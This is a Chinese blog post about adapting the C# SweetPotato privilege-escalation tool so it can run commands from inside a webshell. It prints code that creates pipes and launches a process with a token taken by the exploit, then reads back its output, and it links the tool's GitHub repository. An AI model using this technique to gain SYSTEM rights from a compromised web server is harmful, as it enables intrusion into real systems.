SweetPotato webshell下执行命令版

前言

前两天看到了github上有老外发了一个C#版的烂土豆,所以就想改一个能在webshell下执行命令的版本。

请教了@zcgonvh和@RcoIl两位师傅,学习了用管道对进程于进程之间进行通信。感谢两位师傅的耐心指导~

管道

引用申明

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public struct SECURITY_ATTRIBUTES
{
public Int32 nLength;
public IntPtr lpSecurityDescriptor;
public int bInheritHandle;
}
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool CreatePipe(ref IntPtr hReadPipe, ref IntPtr hWritePipe, ref SECURITY_ATTRIBUTES lpPipeAttributes, Int32 nSize);

[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool ReadFile(IntPtr hFile, byte[] lpBuffer, int nNumberOfBytesToRead, ref int lpNumberOfBytesRead, IntPtr lpOverlapped/*IntPtr.Zero*/);

[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
internal static extern Boolean CloseHandle(IntPtr hObject);

创建管道

1
2
3
4
5
6
7
8
9
SECURITY_ATTRIBUTES saAttr = new SECURITY_ATTRIBUTES();
saAttr.nLength = Marshal.SizeOf(typeof(SECURITY_ATTRIBUTES));
saAttr.bInheritHandle = 0x1;
saAttr.lpSecurityDescriptor = IntPtr.Zero;

if(CreatePipe(ref out_read, ref out_write, ref saAttr, 0))
{
Console.WriteLine("[+] CreatePipe success");
}

新创建进程的标准输出连在写管道一端

1
2
3
4
5
6
7
8
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
si.cb = Marshal.SizeOf(si);
si.lpDesktop = @"WinSta0\Default";
si.hStdOutput = out_write;
si.hStdError = err_write;
si.dwFlags |= STARTF_USESTDHANDLES;
CreateProcessWithTokenW(potatoAPI.Token, 0, program, finalArgs, CREATE_NO_WINDOW, IntPtr.Zero, null, ref si, out pi);

读取管道

1
2
3
4
5
6
7
8
9
10
CloseHandle(out_write);
byte[] buf = new byte[BUFSIZE];
int dwRead = 0;
while (ReadFile(out_read, buf, BUFSIZE, ref dwRead, IntPtr.Zero))
{
byte[] outBytes = new byte[dwRead];
Array.Copy(buf, outBytes, dwRead);
Console.WriteLine(System.Text.Encoding.Default.GetString(outBytes));
}
CloseHandle(out_read);

截图

github

https://github.com/uknowsec/SweetPotato